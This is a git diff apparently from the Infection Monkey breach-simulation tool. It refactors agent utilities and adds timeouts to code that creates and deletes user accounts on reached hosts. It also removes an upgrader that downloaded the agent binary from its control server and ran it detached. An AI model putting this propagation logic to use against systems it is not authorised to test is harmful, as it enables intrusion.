b/monkey/infection_monkey/utils/dir_utils.py @@ -1,29 +1,31 @@ from pathlib import Path -from typing import Callable, Iterable, List, Set +from typing import Callable, Iterable, Set -def get_all_regular_files_in_directory(dir_path: Path) -> List[Path]: +def get_all_regular_files_in_directory(dir_path: Path) -> Iterable[Path]: return filter_files(dir_path.iterdir(), [lambda f: f.is_file()]) -def filter_files(files: Iterable[Path], file_filters: List[Callable[[Path], bool]]): +def filter_files( + files: Iterable[Path], file_filters: Iterable[Callable[[Path], bool]] +) -> Iterable[Path]: filtered_files = files for file_filter in file_filters: - filtered_files = [f for f in filtered_files if file_filter(f)] + filtered_files = filter(file_filter, filtered_files) return filtered_files -def file_extension_filter(file_extensions: Set): - def inner_filter(f: Path): +def file_extension_filter(file_extensions: Set) -> Callable[[Path], bool]: + def inner_filter(f: Path) -> bool: return f.suffix in file_extensions return inner_filter -def is_not_symlink_filter(f: Path): +def is_not_symlink_filter(f: Path) -> bool: return not f.is_symlink() -def is_not_shortcut_filter(f: Path): +def is_not_shortcut_filter(f: Path) -> bool: return f.suffix != ".lnk" diff --git a/monkey/infection_monkey/utils/environment.py b/monkey/infection_monkey/utils/environment.py index 2ead5a837..195e54fd3 100644 --- a/monkey/infection_monkey/utils/environment.py +++ b/monkey/infection_monkey/utils/environment.py @@ -1,18 +1,5 @@ -import os -import struct import sys -def is_64bit_windows_os(): - """ - Checks for 64 bit Windows OS using environment variables. - """ - return "PROGRAMFILES(X86)" in os.environ - - -def is_64bit_python(): - return struct.calcsize("P") == 8 - - def is_windows_os(): return sys.platform.startswith("win") diff --git a/monkey/infection_monkey/utils/exceptions/planned_shutdown_exception.py b/monkey/infection_monkey/utils/exceptions/planned_shutdown_exception.py deleted file mode 100644 index f0147e1e5..000000000 --- a/monkey/infection_monkey/utils/exceptions/planned_shutdown_exception.py +++ /dev/null @@ -1,2 +0,0 @@ -class PlannedShutdownException(Exception): - pass diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py index 002c63f96..112670dbb 100644 --- a/monkey/infection_monkey/utils/linux/users.py +++ b/monkey/infection_monkey/utils/linux/users.py @@ -3,6 +3,7 @@ import logging import shlex import subprocess +from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from infection_monkey.utils.auto_new_user import AutoNewUser logger = logging.getLogger(__name__) @@ -43,7 +44,12 @@ class AutoNewLinuxUser(AutoNewUser): logger.debug( "Trying to add {} with commands {}".format(self.username, str(commands_to_add_user)) ) - _ = subprocess.check_output(commands_to_add_user, stderr=subprocess.STDOUT) + try: + _ = subprocess.check_output( + commands_to_add_user, stderr=subprocess.STDOUT, timeout=SHORT_REQUEST_TIMEOUT + ) + except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as err: + logger.error(f"An exception occurred when creating a new linux user: {str(err)}") def __enter__(self): return self # No initialization/logging on needed in Linux @@ -52,7 +58,12 @@ class AutoNewLinuxUser(AutoNewUser): command_as_new_user = shlex.split( "sudo -u {username} {command}".format(username=self.username, command=command) ) - return subprocess.call(command_as_new_user) + try: + return subprocess.call(command_as_new_user, timeout=SHORT_REQUEST_TIMEOUT) + except subprocess.TimeoutExpired as err: + logger.error( + f"An exception occurred when running a command as a new linux user: {str(err)}" + ) def __exit__(self, _exc_type, value, traceback): # delete the user. @@ -62,4 +73,9 @@ class AutoNewLinuxUser(AutoNewUser): self.username, str(commands_to_delete_user) ) ) - _ = subprocess.check_output(commands_to_delete_user, stderr=subprocess.STDOUT) + try: + _ = subprocess.check_output( + commands_to_delete_user, stderr=subprocess.STDOUT, timeout=SHORT_REQUEST_TIMEOUT + ) + except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as err: + logger.error(f"An exception occurred when deleting the new linux user: {str(err)}") diff --git a/monkey/infection_monkey/utils/monkey_dir.py b/monkey/infection_monkey/utils/monkey_dir.py index c705c233f..4639ec6bc 100644 --- a/monkey/infection_monkey/utils/monkey_dir.py +++ b/monkey/infection_monkey/utils/monkey_dir.py @@ -1,19 +1,24 @@ -import os import shutil import tempfile +from pathlib import Path -MONKEY_DIR_NAME = "monkey_dir" +MONKEY_DIR_PREFIX = "monkey_dir_" +_monkey_dir = None -def create_monkey_dir(): +# TODO: Check if we even need this. Individual plugins can just use tempfile.mkdtemp() or +# tempfile.mkftemp() if they need to. +def create_monkey_dir() -> Path: """ Creates directory for monkey and related files """ - if not os.path.exists(get_monkey_dir_path()): - os.mkdir(get_monkey_dir_path()) + global _monkey_dir + + _monkey_dir = Path(tempfile.mkdtemp(prefix=MONKEY_DIR_PREFIX, dir=tempfile.gettempdir())) + return _monkey_dir -def remove_monkey_dir(): +def remove_monkey_dir() -> bool: """ Removes monkey's root directory :return True if removed without errors and False otherwise @@ -25,5 +30,8 @@ def remove_monkey_dir(): return False -def get_monkey_dir_path(): - return os.path.join(tempfile.gettempdir(), MONKEY_DIR_NAME) +def get_monkey_dir_path() -> Path: + if _monkey_dir is None: + create_monkey_dir() + + return _monkey_dir # type: ignore diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py index 0b97f83b9..5fdc0b72b 100644 --- a/monkey/infection_monkey/utils/monkey_log_path.py +++ b/monkey/infection_monkey/utils/monkey_log_path.py @@ -1,20 +1,22 @@ import os -import sys - -from infection_monkey.config import WormConfiguration +import tempfile +import time +from functools import lru_cache, partial +from pathlib import Path -def get_monkey_log_path(): - return ( - os.path.expandvars(WormConfiguration.monkey_log_path_windows) - if sys.platform == "win32" - else WormConfiguration.monkey_log_path_linux - ) +# Cache the result of the call so that subsequent calls always return the same result +@lru_cache(maxsize=None) +def _get_log_path(monkey_arg: str) -> Path: + timestamp = time.strftime("%Y-%m-%d-%H-%M-%S", time.gmtime()) + prefix = f"infection-monkey-{monkey_arg}-{timestamp}-" + suffix = ".log" + + handle, monkey_log_path = tempfile.mkstemp(suffix=suffix, prefix=prefix) + os.close(handle) + + return Path(monkey_log_path) -def get_dropper_log_path(): - return ( - os.path.expandvars(WormConfiguration.dropper_log_path_windows) - if sys.platform == "win32" - else WormConfiguration.dropper_log_path_linux - ) +get_agent_log_path = partial(_get_log_path, "agent") +get_dropper_log_path = partial(_get_log_path, "dropper") diff --git a/monkey/infection_monkey/utils/plugins/plugin.py b/monkey/infection_monkey/utils/plugins/plugin.py deleted file mode 100644 index 81297d5e8..000000000 --- a/monkey/infection_monkey/utils/plugins/plugin.py +++ /dev/null @@ -1,91 +0,0 @@ -import glob -import importlib -import inspect -import logging -from abc import ABCMeta, abstractmethod -from os.path import basename, dirname, isfile, join -from typing import Callable, Sequence, Type, TypeVar - -logger = logging.getLogger(__name__) - - -def _get_candidate_files(base_package_file): - files = glob.glob(join(dirname(base_package_file), "*.py")) - return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith("__init__.py")] - - -PluginType = TypeVar("PluginType", bound="Plugin") - - -class Plugin(metaclass=ABCMeta): - @staticmethod - @abstractmethod - def should_run(class_name: str) -> bool: - raise NotImplementedError() - - @classmethod - def get_classes(cls) -> Sequence[Callable]: - """ - Returns the class objects from base_package_spec - base_package name and file must refer to the same package otherwise bad results - :return: A list of parent_class classes. - """ - objects = [] - candidate_files = _get_candidate_files(cls.base_package_file()) - logger.info( - "looking for classes of type {} in {}".format(cls.__name__, cls.base_package_name()) - ) - # Go through all of files - for file in candidate_files: - # Import module from that file - module = importlib.import_module("." + file, cls.base_package_name()) - # Get all classes in a module - # m[1] because return object is (name,class) - classes = [ - m[1] - for m in inspect.getmembers(module, inspect.isclass) - if ((m[1].__module__ == module.__name__) and issubclass(m[1], cls)) - ] - # Get object from class - for class_object in classes: - logger.debug("Checking if should run object {}".format(class_object.__name__)) - try: - if class_object.should_run(class_object.__name__): - objects.append(class_object) - logger.debug("Added {} to list".format(class_object.__name__)) - except Exception as e: - logger.warning( - "Exception {} when checking if {} should run".format( - str(e), class_object.__name__ - ) - ) - return objects - - @classmethod - def get_instances(cls) -> Sequence[Type[PluginType]]: - """ - Returns the type objects from base_package_spec. - base_package name and file must refer to the same package otherwise bad results - :return: A list of parent_class objects. - """ - class_objects = cls.get_classes() - instances = [] - for class_object in class_objects: - try: - instance = class_object() - instances.append(instance) - except Exception as e: - logger.warning( - "Exception {} when initializing {}".format(str(e), class_object.__name__) - ) - return instances - - @staticmethod - @abstractmethod - def base_package_file(): - pass - - @staticmethod - @abstractmethod - def base_package_name(): - pass diff --git a/monkey/infection_monkey/utils/signal_handler.py b/monkey/infection_monkey/utils/signal_handler.py new file mode 100644 index 000000000..3278841be --- /dev/null +++ b/monkey/infection_monkey/utils/signal_handler.py @@ -0,0 +1,78 @@ +import logging +import signal +from typing import Optional + +from infection_monkey.i_master import IMaster +from infection_monkey.utils.environment import is_windows_os + +logger = logging.getLogger(__name__) + + +_signal_handler = None + + +class StopSignalHandler: + def __init__(self, master: IMaster): + self._master = master + + # Windows won't let us correctly deregister a method, but Callables and closures work. + def __call__(self, signum: int, *args) -> Optional[bool]: + if is_windows_os(): + return self._handle_windows_signals(signum) + else: + self._handle_posix_signals(signum, args) + + def _handle_windows_signals(self, signum: int) -> bool: + import win32con + + if signum in {win32con.CTRL_C_EVENT, win32con.CTRL_BREAK_EVENT}: + self._terminate_master(signum, False) + return True + + if signum == win32con.CTRL_CLOSE_EVENT: + # After the signal handler returns True, the OS will forcefully kill the process. + # Calling self._handle_signal() with block=True to give the master a chance to + # gracefully shut down. Note that the OS has a timeout that will forcefully kill the + # process if this handler hasn't returned in time. + self._terminate_master(signum, True) + return True + + return False + + def _handle_posix_signals(self, signum: int, *_): + self._terminate_master(signum, False) + + def _terminate_master(self, signum: int, block: bool): + logger.info(f"The Monkey Agent received signal {signum}") + self._master.terminate(block) + + +def register_signal_handlers(master: IMaster): + global _signal_handler + _signal_handler = StopSignalHandler(master) + + if is_windows_os(): + import win32api + + # CTRL_CLOSE_EVENT signal has a timeout of 5000ms, + # after that OS will forcefully kill the process + win32api.SetConsoleCtrlHandler(_signal_handler, True) + else: + signal.signal(signal.SIGINT, _signal_handler) + signal.signal(signal.SIGTERM, _signal_handler) + + +def reset_signal_handlers(): + """ + Resets the signal handlers back to the default handlers provided by Python + """ + global _signal_handler + + if is_windows_os(): + import win32api + + if _signal_handler: + win32api.SetConsoleCtrlHandler(_signal_handler, False) + else: + signal.signal(signal.SIGINT, signal.SIG_DFL) + signal.signal(signal.SIGTERM, signal.SIG_DFL) diff --git a/monkey/infection_monkey/utils/threading.py b/monkey/infection_monkey/utils/threading.py new file mode 100644 index 000000000..0443978e6 --- /dev/null +++ b/monkey/infection_monkey/utils/threading.py @@ -0,0 +1,109 @@ +import logging +from functools import wraps +from itertools import count +from threading import Event, Thread +from typing import Any, Callable, Iterable, Optional, Tuple + +logger = logging.getLogger(__name__) + + +def run_worker_threads( + target: Callable[..., None], + name_prefix: str, + args: Tuple = (), + num_workers: int = 2, +): + worker_threads = [] + counter = run_worker_threads.counters.setdefault(name_prefix, count(start=1)) + for i in range(0, num_workers): + name = f"{name_prefix}-{next(counter):02d}" + t = create_daemon_thread(target=target, name=name, args=args) + t.start() + worker_threads.append(t) + + for t in worker_threads: + t.join() + + +run_worker_threads.counters = {} + + +def create_daemon_thread(target: Callable[..., None], name: str, args: Tuple = ()) -> Thread: + return Thread(target=target, name=name, args=args, daemon=True) + + +def interruptible_iter( + iterator: Iterable, interrupt: Event, log_message: str = None, log_level: int = logging.DEBUG +) -> Any: + """ + Wraps an iterator so that the iterator can be interrupted if the `interrupt` Event is set. This + is a convinient way to make loops interruptible and avoids the need to add an `if` to each and + every loop. + :param Iterable iterator: An iterator that will be made interruptible. + :param Event interrupt: A `threading.Event` that, if set, will prevent the remainder of the + iterator's items from being processed. + :param str log_message: A message to be logged if the iterator is interrupted. If `log_message` + is `None` (default), then no message is logged. + :param int log_level: The log level at which to log `log_message`, defaults to `logging.DEBUG`. + """ + for i in iterator: + if interrupt.is_set(): + if log_message: + logger.log(log_level, log_message) + + break + + yield i + + +def interruptible_function(*, msg: Optional[str] = None, default_return_value: Any = None): + """ + This decorator allows a function to be skipped if an interrupt (threading.Event) is set. This is + useful for interrupting running code without introducing duplicate `if` checks at the beginning + of each function. + + Note: It is required that the decorated function accept a keyword-only argument named + "interrupt". + + Example: + def run_algorithm(*inputs, interrupt: threading.Event): + return_value = do_action_1(inputs[1], interrupt=interrupt) + return_value = do_action_2(return_value + inputs[2], interrupt=interrupt) + return_value = do_action_3(return_value + inputs[3], interrupt=interrupt) + + return return_value + + @interruptible_function(msg="Interrupt detected, skipping action 1", default_return_value=0) + def do_action_1(input, *, interrupt: threading.Event): + # Process input + ... + + @interruptible_function(msg="Interrupt detected, skipping action 2", default_return_value=0) + def do_action_2(input, *, interrupt: threading.Event): + # Process input + ... + + @interruptible_function(msg="Interrupt detected, skipping action 2", default_return_value=0) + def do_action_2(input, *, interrupt: threading.Event): + # Process input + ... + + :param str msg: A message to log at the debug level if an interrupt is detected. Defaults to + None. + :param Any default_return_value: A value to return if the wrapped function is not run. Defaults + to None. + """ + + def _decorator(fn): + @wraps(fn) + def _wrapper(*args, interrupt: Event, **kwargs): + if interrupt.is_set(): + if msg: + logger.debug(msg) + return default_return_value + + return fn(*args, interrupt=interrupt, **kwargs) + + return _wrapper + + return _decorator diff --git a/monkey/infection_monkey/utils/timer.py b/monkey/infection_monkey/utils/timer.py new file mode 100644 index 000000000..6095d466e --- /dev/null +++ b/monkey/infection_monkey/utils/timer.py @@ -0,0 +1,46 @@ +import time + + +class Timer: + """ + A class for checking whether or not a certain amount of time has elapsed. + """ + + def __init__(self): + self._timeout_sec = 0 + self._start_time = 0 + + def set(self, timeout_sec: float): + """ + Set a timer + :param float timeout_sec: A nonnegative floating point number expressing the number of + seconds to set the timeout for. + """ + self._timeout_sec = timeout_sec + self._start_time = time.time() + + def is_expired(self): + """ + Check whether or not the timer has expired + :return: True if the elapsed time since set(TIMEOUT_SEC) was called is greater than + TIMEOUT_SEC, False otherwise + :rtype: bool + """ + return self.time_remaining == 0 + + @property + def time_remaining(self) -> float: + """ + Return the amount of time remaining until the timer expires. + :return: The number of seconds until the timer expires. If the timer is expired, this + function returns 0 (it will never return a negative number). + :rtype: float + """ + time_remaining = self._timeout_sec - (time.time() - self._start_time) + return max(time_remaining, 0) + + def reset(self): + """ + Reset the timer without changing the timeout + """ + self._start_time = time.time() diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py index e0da2ded3..498e747c5 100644 --- a/monkey/infection_monkey/utils/windows/users.py +++ b/monkey/infection_monkey/utils/windows/users.py @@ -1,6 +1,7 @@ import logging import subprocess +from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from infection_monkey.utils.auto_new_user import AutoNewUser from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.new_user_error import NewUserError @@ -49,7 +50,12 @@ class AutoNewWindowsUser(AutoNewUser): windows_cmds = get_windows_commands_to_add_user(self.username, self.password, True) logger.debug("Trying to add {} with commands {}".format(self.username, str(windows_cmds))) - _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT) + try: + _ = subprocess.check_output( + windows_cmds, stderr=subprocess.STDOUT, timeout=SHORT_REQUEST_TIMEOUT + ) + except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as err: + logger.error(f"An exception occurred when creating a new windows user: {str(err)}") def __enter__(self): try: @@ -124,7 +130,9 @@ class AutoNewWindowsUser(AutoNewUser): self.username, str(commands_to_deactivate_user) ) ) - _ = subprocess.check_output(commands_to_deactivate_user, stderr=subprocess.STDOUT) + _ = subprocess.check_output( + commands_to_deactivate_user, stderr=subprocess.STDOUT, timeout=SHORT_REQUEST_TIMEOUT + ) except Exception as err: raise NewUserError("Can't deactivate user {}. Info: {}".format(self.username, err)) @@ -136,6 +144,8 @@ class AutoNewWindowsUser(AutoNewUser): self.username, str(commands_to_delete_user) ) ) - _ = subprocess.check_output(commands_to_delete_user, stderr=subprocess.STDOUT) + _ = subprocess.check_output( + commands_to_delete_user, stderr=subprocess.STDOUT, timeout=SHORT_REQUEST_TIMEOUT + ) except Exception as err: raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err)) diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py deleted file mode 100644 index c72f970d9..000000000 --- a/monkey/infection_monkey/windows_upgrader.py +++ /dev/null @@ -1,69 +0,0 @@ -import logging -import shutil -import subprocess -import sys -import time - -import infection_monkey.monkeyfs as monkeyfs -from infection_monkey.config import WormConfiguration -from infection_monkey.control import ControlClient -from infection_monkey.utils.commands import ( - build_monkey_commandline_explicitly, - get_monkey_commandline_windows, -) -from infection_monkey.utils.environment import is_64bit_python, is_64bit_windows_os, is_windows_os - -logger = logging.getLogger(__name__) - -if "win32" == sys.platform: - from win32process import DETACHED_PROCESS -else: - DETACHED_PROCESS = 0 - - -class WindowsUpgrader(object): - __UPGRADE_WAIT_TIME__ = 3 - - @staticmethod - def should_upgrade(): - return is_windows_os() and is_64bit_windows_os() and not is_64bit_python() - - @staticmethod - def upgrade(opts): - try: - monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) - with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: - with open( - WormConfiguration.dropper_target_path_win_64, "wb" - ) as written_monkey_file: - shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) - except (IOError, AttributeError) as e: - logger.error("Failed to download the Monkey to the target path: %s." % e) - return - - monkey_options = build_monkey_commandline_explicitly( - opts.parent, opts.tunnel, opts.server, opts.depth - ) - - monkey_cmdline = get_monkey_commandline_windows( - WormConfiguration.dropper_target_path_win_64, monkey_options - ) - - monkey_process = subprocess.Popen( - monkey_cmdline, - stdin=None, - stdout=None, - stderr=None, - close_fds=True, - creationflags=DETACHED_PROCESS, - ) - - logger.info( - "Executed 64bit monkey process (PID=%d) with command line: %s", - monkey_process.pid, - " ".join(monkey_cmdline), - ) - - time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__) - if monkey_process.poll() is not None: - logger.error("Seems like monkey died too soon") diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index cd6b3c612..a29ad0384 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -4,7 +4,7 @@ verify_ssl = true name = "pypi" [packages] -pyinstaller = "==3.6" +pyinstaller = "==4.9" bcrypt = "==3.2.0" boto3 = "==1.18.44" botocore = "==1.21.44" @@ -22,7 +22,6 @@ Flask-PyMongo = ">=2.3.0" Flask-RESTful = ">=0.3.8" Flask = ">=1.1" Werkzeug = ">=1.0.1" -ScoutSuite = {git = "https://github.com/guardicode/ScoutSuite"} pyaescrypt = "*" python-dateutil = "*" cffi = "*" # Without explicit install: ModuleNotFoundError: No module named '_cffi_backend' @@ -32,13 +31,14 @@ virtualenv = ">=20.0.26" mongomock = "==3.23.0" pytest = ">=5.4" requests-mock = "==1.8.0" -black = "==20.8b1" -dlint = "==0.11.0" -flake8 = "==3.9.0" +black = "==22.3.0" +dlint = "==0.12.0" +flake8 = "==4.0.1" pytest-cov = "*" -isort = "==5.8.0" +isort = "==5.10.1" coverage = "*" vulture = "==2.3" +tqdm = "*" # Used in BB tests [requires] python_version = "3.7" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index e0dd12e35..b1cb4660d 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "8345ad78df24e68e7934b863857570fdd2f80cbcc2e9525ac13a7660c40720c7" + "sha256": "48c3a77a6022276d2607c19ae66490310fa8fa99e07e888b416c181e5ec0b534" }, "pipfile-spec": 6, "requires": { @@ -30,27 +30,23 @@ ], "version": "==9.0.1" }, - "asyncio-throttle": { - "hashes": [ - "sha256:a01a56f3671e961253cf262918f3e0741e222fc50d57d981ba5c801f284eccfe" - ], - "markers": "python_version >= '3.5'", - "version": "==0.1.1" - }, "attrs": { "hashes": [ - "sha256:149e90d6d8ac20db7a955ad60cf0e6881a3f20d37096140088356da6c716b0b1", - "sha256:ef6aaac3ca6cd92904cdd0d83f629a15f18053ec84e6432106f7a4d04ae4f5fb" + "sha256:2d27e3784d7a565d36ab851fe94887c5eccd6a463168875832a1be79c82828b4", + "sha256:626ba8234211db98e869df76230a137c4c40a12d72445c45d5f5b716f076e2fd" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==21.2.0" + "version": "==21.4.0" }, "bcrypt": { "hashes": [ + "sha256:56e5da069a76470679f312a7d3d23deb3ac4519991a0361abc11da837087b61d", "sha256:5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29", "sha256:63d4e3ff96188e5898779b6057878fecf3f11cfe6ec3b313ea09955d587ec7a7", "sha256:81fec756feff5b6818ea7ab031205e1d323d8943d237303baca2c5f9c7846f34", + "sha256:a0584a92329210fcd75eb8a3250c5a941633f8bfaf2a18f81009b097732839b7", "sha256:a67fb841b35c28a59cebed05fbd3e80eea26e6d75851f0574a9273c80f3e9b55", + "sha256:b589229207630484aefe5899122fb938a5b017b0f4349f769b8c13e78d99a8fd", "sha256:c95d4cbebffafcdd28bd28bb4e25b31c50f6da605c81ffd9ad8a3d1b2ab7b1b6", "sha256:cd1ea2ff3038509ea95f687256c46b79f5fc382ad0aa3664d200047546d511d1", "sha256:cdcdcb3972027f83fe24a48b1e90ea4b584d35f1cc279d76de6fc4b13376239d" @@ -139,101 +135,69 @@ }, "charset-normalizer": { "hashes": [ - "sha256:e019de665e2bcf9c2b64e2e5aa025fa991da8720daa3c1138cadd2fd1856aed0", - "sha256:f7af805c321bfa1ce6714c51f254e0d5bb5e5834039bc17db7ebe3a4cec9492b" + "sha256:2857e29ff0d34db842cd7ca3230549d1a697f96ee6d3fb071cfa6c7393832597", + "sha256:6881edbebdb17b39b4eaaa821b438bf6eddffb4468cf344f09f89def34a8b1df" ], "markers": "python_version >= '3'", - "version": "==2.0.7" - }, - "cheroot": { - "hashes": [ - "sha256:7ba11294a83468a27be6f06066df8a0f17d954ad05945f28d228aa3f4cd1b03c", - "sha256:f137d03fd5155b1364bea557a7c98168665c239f6c8cedd8f80e81cdfac01567" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==8.5.2" - }, - "cherrypy": { - "hashes": [ - "sha256:55659e6f012d374898d6d9d581e17cc1477b6a14710218e64f187b9227bea038", - "sha256:f33e87286e7b3e309e04e7225d8e49382d9d7773e6092241d7f613893c563495" - ], - "markers": "python_version >= '3.5'", - "version": "==18.6.1" - }, - "cherrypy-cors": { - "hashes": [ - "sha256:eb512e20fa9e478abd1868b1417814a4e9240ed0c403472a2c624460e49ab0d5", - "sha256:f7fb75f6e617ce29c9ec3fdd8b1ff6ec64fec2c56371182525e22bcf4c180513" - ], - "markers": "python_version >= '2.7'", - "version": "==1.6" + "version": "==2.0.12" }, "click": { "hashes": [ - "sha256:353f466495adaeb40b6b5f592f9f91cb22372351c84caeb068132442a4518ef3", - "sha256:410e932b050f5eed773c4cda94de75971c89cdb3155a72a0831139a79e5ecb5b" + "sha256:24e1a4a9ec5bf6299411369b208c1df2188d9eb8d916302fe6bf03faed227f1e", + "sha256:479707fe14d9ec9a0757618b7a100a0ae4c4e236fac5b7f80ca68028141a1a72" ], - "markers": "python_version >= '3.6'", - "version": "==8.0.3" + "markers": "python_version >= '3.7'", + "version": "==8.1.2" }, "colorama": { "hashes": [ "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" ], - "markers": "sys_platform == 'win32' and platform_system == 'Windows'", + "markers": "platform_system == 'Windows'", "version": "==0.4.4" }, - "coloredlogs": { - "hashes": [ - "sha256:34fad2e342d5a559c31b6c889e8d14f97cb62c47d9a2ae7b5ed14ea10a79eff8", - "sha256:b869a2dda3fa88154b9dd850e27828d8755bfab5a838a1c97fbc850c6e377c36" - ], - "version": "==10.0" - }, "cryptography": { "hashes": [ - "sha256:2049f8b87f449fc6190350de443ee0c1dd631f2ce4fa99efad2984de81031681", - "sha256:231c4a69b11f6af79c1495a0e5a85909686ea8db946935224b7825cfb53827ed", - "sha256:24469d9d33217ffd0ce4582dfcf2a76671af115663a95328f63c99ec7ece61a4", - "sha256:2deab5ec05d83ddcf9b0916319674d3dae88b0e7ee18f8962642d3cde0496568", - "sha256:494106e9cd945c2cadfce5374fa44c94cfadf01d4566a3b13bb487d2e6c7959e", - "sha256:4c702855cd3174666ef0d2d13dcc879090aa9c6c38f5578896407a7028f75b9f", - "sha256:52f769ecb4ef39865719aedc67b4b7eae167bafa48dbc2a26dd36fa56460507f", - "sha256:5c49c9e8fb26a567a2b3fa0343c89f5d325447956cc2fc7231c943b29a973712", - "sha256:684993ff6f67000a56454b41bdc7e015429732d65a52d06385b6e9de6181c71e", - "sha256:6fbbbb8aab4053fa018984bb0e95a16faeb051dd8cca15add2a27e267ba02b58", - "sha256:8982c19bb90a4fa2aad3d635c6d71814e38b643649b4000a8419f8691f20ac44", - "sha256:9511416e85e449fe1de73f7f99b21b3aa04fba4c4d335d30c486ba3756e3a2a6", - "sha256:97199a13b772e74cdcdb03760c32109c808aff7cd49c29e9cf4b7754bb725d1d", - "sha256:a776bae1629c8d7198396fd93ec0265f8dd2341c553dc32b976168aaf0e6a636", - "sha256:aa94d617a4cd4cdf4af9b5af65100c036bce22280ebb15d8b5262e8273ebc6ba", - "sha256:b17d83b3d1610e571fedac21b2eb36b816654d6f7496004d6a0d32f99d1d8120", - "sha256:d73e3a96c38173e0aa5646c31bf8473bc3564837977dd480f5cbeacf1d7ef3a3", - "sha256:d91bc9f535599bed58f6d2e21a2724cb0c3895bf41c6403fe881391d29096f1d", - "sha256:ef216d13ac8d24d9cd851776662f75f8d29c9f2d05cdcc2d34a18d32463a9b0b", - "sha256:f6a5a85beb33e57998dc605b9dbe7deaa806385fdf5c4810fb849fcd04640c81", - "sha256:f92556f94e476c1b616e6daec5f7ddded2c082efa7cee7f31c7aeda615906ed8" + "sha256:0a3bf09bb0b7a2c93ce7b98cb107e9170a90c51a0162a20af1c61c765b90e60b", + "sha256:1f64a62b3b75e4005df19d3b5235abd43fa6358d5516cfc43d87aeba8d08dd51", + "sha256:32db5cc49c73f39aac27574522cecd0a4bb7384e71198bc65a0d23f901e89bb7", + "sha256:4881d09298cd0b669bb15b9cfe6166f16fc1277b4ed0d04a22f3d6430cb30f1d", + "sha256:4e2dddd38a5ba733be6a025a1475a9f45e4e41139d1321f412c6b360b19070b6", + "sha256:53e0285b49fd0ab6e604f4c5d9c5ddd98de77018542e88366923f152dbeb3c29", + "sha256:70f8f4f7bb2ac9f340655cbac89d68c527af5bb4387522a8413e841e3e6628c9", + "sha256:7b2d54e787a884ffc6e187262823b6feb06c338084bbe80d45166a1cb1c6c5bf", + "sha256:7be666cc4599b415f320839e36367b273db8501127b38316f3b9f22f17a0b815", + "sha256:8241cac0aae90b82d6b5c443b853723bcc66963970c67e56e71a2609dc4b5eaf", + "sha256:82740818f2f240a5da8dfb8943b360e4f24022b093207160c77cadade47d7c85", + "sha256:8897b7b7ec077c819187a123174b645eb680c13df68354ed99f9b40a50898f77", + "sha256:c2c5250ff0d36fd58550252f54915776940e4e866f38f3a7866d92b32a654b86", + "sha256:ca9f686517ec2c4a4ce930207f75c00bf03d94e5063cbc00a1dc42531511b7eb", + "sha256:d2b3d199647468d410994dbeb8cec5816fb74feb9368aedf300af709ef507e3e", + "sha256:da73d095f8590ad437cd5e9faf6628a218aa7c387e1fdf67b888b47ba56a17f0", + "sha256:e167b6b710c7f7bc54e67ef593f8731e1f45aa35f8a8a7b72d6e42ec76afd4b3", + "sha256:ea634401ca02367c1567f012317502ef3437522e2fc44a3ea1844de028fa4b84", + "sha256:ec6597aa85ce03f3e507566b8bcdf9da2227ec86c4266bd5e6ab4d9e0cc8dab2", + "sha256:f64b232348ee82f13aac22856515ce0195837f6968aeaa94a3d0353ea2ec06a6" ], "markers": "python_version >= '3.6'", - "version": "==36.0.0" + "version": "==36.0.2" }, "dpath": { "hashes": [ - "sha256:e7813fd8a9dd0d4c7cd4014533ce955eff712bcb2e8189be79bb893890a9db01", - "sha256:ef74321b01479653c812fee69c53922364614d266a8e804d22058c5c02e5674e" + "sha256:5a1ddae52233fbc8ef81b15fb85073a81126bb43698d3f3a1b6aaf561a46cdc0", + "sha256:8c439bb1c3b3222427e9b8812701cd99a0ef3415ddbb7c03a2379f6989a03965" ], "index": "pypi", - "version": "==2.0.5" + "version": "==2.0.6" }, "flask": { "hashes": [ - "sha256:7b2fb8e934ddd50731893bdcdb00fc8c0315916f9fcd50d22c7cc1a95ab634e2", - "sha256:cb90f62f1d8e4dc4621f52106613488b5ba826b2e1e10a33eac92f723093ab6a" + "sha256:8a4cf32d904cf5621db9f0c9fbcd7efabf3003f22a04e4d0ce790c7137ec5264", + "sha256:a8c9bd3e558ec99646d177a9739c41df1ded0629480b4c8d2975412f3c9519c8" ], "index": "pypi", - "version": "==2.0.2" + "version": "==2.1.1" }, "flask-jwt-extended": { "hashes": [ @@ -268,38 +232,46 @@ }, "gevent": { "hashes": [ - "sha256:02d1e8ca227d0ab0b7917fd7e411f9a534475e0a41fb6f434e9264b20155201a", - "sha256:0c7b4763514fec74c9fe6ad10c3de62d8fe7b926d520b1e35eb6887181b954ff", - "sha256:1c9c87b15f792af80edc950a83ab8ef4f3ba3889712211c2c42740ddb57b5492", - 